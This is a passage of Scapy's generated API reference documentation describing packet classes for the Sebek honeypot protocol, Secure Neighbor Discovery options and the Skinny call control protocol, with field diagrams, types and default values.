|                              DIP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DPORT             |              SIP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             SPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CALL             |     PROTO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SebekV2Sock                         


SebekV2Sock fields






	parent_pid

	IntField

	0



	pid

	IntField

	0



	uid

	IntField

	0



	fd

	IntField

	0



	inode

	IntField

	0



	cmd

	StrFixedLenField

	b''



	data_length

	IntField

	15



	dip

	IPField

	'127.0.0.1'



	dport

	ShortField

	0



	sip

	IPField

	'127.0.0.1'



	sport

	ShortField

	0



	call

	ShortEnumField

	0



	proto

	ByteEnumField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L110-L114]

	








	
class scapy.contrib.sebek.SebekV3(_pkt, /, *, parent_pid=0, pid=0, uid=0, fd=0, inode=0, cmd=b'', data_length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L56-L71]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PARENT PID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               FD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CMD                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATA LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SebekV3                           


SebekV3 fields






	parent_pid

	IntField

	0



	pid

	IntField

	0



	uid

	IntField

	0



	fd

	IntField

	0



	inode

	IntField

	0



	cmd

	StrFixedLenField

	b''



	data_length

	FieldLenField

	None



	data

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L67-L71]

	








	
class scapy.contrib.sebek.SebekV3Sock(_pkt, /, *, parent_pid=0, pid=0, uid=0, fd=0, inode=0, cmd=b'', data_length=15, dip='127.0.0.1', dport=0, sip='127.0.0.1', sport=0, call=0, proto=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L82-L106]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PARENT PID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               FD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CMD                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATA LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DIP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DPORT             |              SIP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             SPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CALL             |     PROTO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SebekV3Sock                         


SebekV3Sock fields






	parent_pid

	IntField

	0



	pid

	IntField

	0



	uid

	IntField

	0



	fd

	IntField

	0



	inode

	IntField

	0



	cmd

	StrFixedLenField

	b''



	data_length

	IntField

	15



	dip

	IPField

	'127.0.0.1'



	dport

	ShortField

	0



	sip

	IPField

	'127.0.0.1'



	sport

	ShortField

	0



	call

	ShortEnumField

	0



	proto

	ByteEnumField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L102-L106]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.send

Secure Neighbor Discovery (SEND) - RFC3971


	
class scapy.contrib.send.CGA_Params(_pkt, /, *, modifier=<RandBin>, subprefix=b'', cc=0, pubkey=<X509_SubjectPublicKeyInfo  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L48-L54]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MODIFIER                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUBPREFIX                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CC      |             PUBKEY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CGA_Params                          


CGA_Params fields






	modifier

	StrFixedLenField

	<RandBin>



	subprefix

	StrFixedLenField

	b''



	cc

	ByteField

	0



	pubkey

	PacketField

	<X509_SubjectPublicKeyInfo  |>















	
class scapy.contrib.send.ICMPv6NDOptCGA(_pkt, /, *, type=11, len=None, padlength=0, reserved=0, CGA_PARAMS=b'', padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L57-L71]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   PADLENGTH   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CGA PARAMS          |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6NDOptCGA                        


ICMPv6NDOptCGA fields






	type

	ByteField

	11



	len

	FieldLenField

	None



	padlength

	FieldLenField

	0



	reserved

	ByteField

	0



	CGA_PARAMS

	PacketLenField

	b''



	padding

	StrLenField

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L66-L71]

	








	
class scapy.contrib.send.ICMPv6NDOptNonce(_pkt, /, *, type=14, len=None, nonce=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L24-L28]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             NONCE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptNonce                       


ICMPv6NDOptNonce fields






	type

	ByteField

	14



	len

	FieldLenField

	None



	nonce

	StrLenField

	b''















	
class scapy.contrib.send.ICMPv6NDOptRsaSig(_pkt, /, *, type=12, len=None, reserved=0, key_hash=b'', signature_pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L39-L45]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            KEY HASH                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SIGNATURE PAD         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptRsaSig                      


ICMPv6NDOptRsaSig fields






	type

	ByteField

	12



	len

	FieldLenField

	None



	reserved

	ShortField

	0



	key_hash

	StrFixedLenField

	b''



	signature_pad

	StrLenField

	b''















	
class scapy.contrib.send.ICMPv6NDOptTmstp(_pkt, /, *, type=13, len=2, reserved=0, timestamp=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/send.py#L31-L36]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptTmstp                       


ICMPv6NDOptTmstp fields






	type

	ByteField

	13



	len

	ByteField

	2



	reserved

	BitField  (48 bits)

	0



	timestamp

	UTCTimeField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.skinny

Skinny Call Control Protocol (SCCP) extension


	
class scapy.contrib.skinny.Skinny(_pkt, /, *, len=None, res=0, msg=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L493-L504]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MSG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Skinny                            


Skinny fields






	len

	LEIntField

	None



	res

	LEIntField

	0



	msg

	LEIntEnumField

	0











	
payload_guess

	Possible sublayers:
SkinnyMessageCallInfo, SkinnyMessageCallPlane, SkinnyMessageCallState, SkinnyMessageClearPromptStatus, SkinnyMessageCloseReceiveChannel, SkinnyMessageDialedNumber, SkinnyMessageGeneric, SkinnyMessageKeepAliveAck, SkinnyMessageKeepAlive, SkinnyMessageKeypadButton, SkinnyMessageOffHook, SkinnyMessageOnHook, SkinnyMessageOpenReceiveChannelAck, SkinnyMessageOpenReceiveChannel, SkinnyMessagePromptStatus, SkinnyMessageSetLamp, SkinnyMessageSetRinger, SkinnyMessageSoftKeyEvent, SkinnyMessageSpeakerMode, SkinnyMessageStartMediaTransmission, SkinnyMessageStartTone, SkinnyMessageStationSelectSoftKeysMessage, SkinnyMessageStopMultiMediaTransmission, SkinnyMessageStopTone, SkinnyMessageTimeDate






	
post_build(pkt, p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L499-L504]

	








	
class scapy.contrib.skinny.SkinnyDateTimeField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L196-L230]

	Bases: StrFixedLenField


	
h2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L219-L230]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L210-L214]

	




	
i2m(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L204-L208]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L216-L217]

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L200-L202]

	








	
class scapy.contrib.skinny.SkinnyFramePerPacketField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L448-L452]

	Bases: LEIntField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L449-L452]

	








	
class scapy.contrib.skinny.SkinnyMessageCallInfo(_pkt, /, *, callername=b'Jean Valjean', callernum=b'1337', calledname=b'Causette', callednum=b'1034', lineinstance=1, callid=0, originalcalledname=b'Causette', originalcallednum=b'1034', lastredirectingname=b'Causette', lastredirectingnum=b'1034', originalredirectreason=0, lastredirectreason=0, voicemailboxG=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', voicemailboxD=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', originalvoicemailboxD=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', lastvoicemailboxD=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', security=0, restriction=<Flag 0 ()>, unknown=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L369-L389]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CALLERNAME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CALLERNUM                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CALLEDNAME                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CALLEDNUM                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          LINEINSTANCE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ORIGINALCALLEDNAME                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ORIGINALCALLEDNUM                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      LASTREDIRECTINGNAME                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       LASTREDIRECTINGNUM                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     ORIGINALREDIRECTREASON                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       LASTREDIRECTREASON                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VOICEMAILBOXG                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VOICEMAILBOXD                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     ORIGINALVOICEMAILBOXD                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       LASTVOICEMAILBOXD                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SECURITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RESTRICTION          |            UNKNOWN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SkinnyMessageCallInfo                    


SkinnyMessageCallInfo fields






	callername

	StrFixedLenField

	b'Jean Valjean'



	callernum

	StrFixedLenField

	b'1337'



	calledname

	StrFixedLenField

	b'Causette'



	callednum

	StrFixedLenField

	b'1034'



	lineinstance

	LEIntField

	1



	callid

	LEIntField

	0



	originalcalledname

	StrFixedLenField

	b'Causette'



	originalcallednum

	StrFixedLenField

	b'1034'



	lastredirectingname

	StrFixedLenField

	b'Causette'



	lastredirectingnum

	StrFixedLenField

	b'1034'



	originalredirectreason

	LEIntField

	0



	lastredirectreason

	LEIntField

	0



	voicemailboxG

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	voicemailboxD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	originalvoicemailboxD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	lastvoicemailboxD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	security

	LEIntField

	0



	restriction

	FlagsField

	<Flag 0 ()>



	unknown

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageCallPlane(_pkt, /, *, instance=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L335-L337]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SkinnyMessageCallPlane                    


SkinnyMessageCallPlane fields






	instance

	LEIntField

	1















	
class scapy.contrib.skinny.SkinnyMessageCallState(_pkt, /, *, state=1, instance=1, callid=0, unknown1=4, unknown2=0, unknown3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L259-L266]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN3                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SkinnyMessageCallState                    


SkinnyMessageCallState fields






	state

	LEIntEnumField

	1



	instance

	LEIntField

	1



	callid

	LEIntField

	0



	unknown1

	LEIntField

	4



	unknown2

	LEIntField

	0



	unknown3

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageClearPromptStatus(_pkt, /, *, instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L346-L349]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SkinnyMessageClearPromptStatus                


SkinnyMessageClearPromptStatus fields






	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageCloseReceiveChannel(_pkt, /, *, conference=0, passthru=0, remote='0.0.0.0', port=<RandShort>, rate=20, codec=4, precedence=200, silence=0, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L473-L483]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CONFERENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSTHRU                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REMOTE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CODEC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PRECEDENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SILENCE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SkinnyMessageCloseReceiveChannel               


SkinnyMessageCloseReceiveChannel fields






	conference

	LEIntField

	0



	passthru

	LEIntField

	0



	remote

	IPField

	'0.0.0.0'

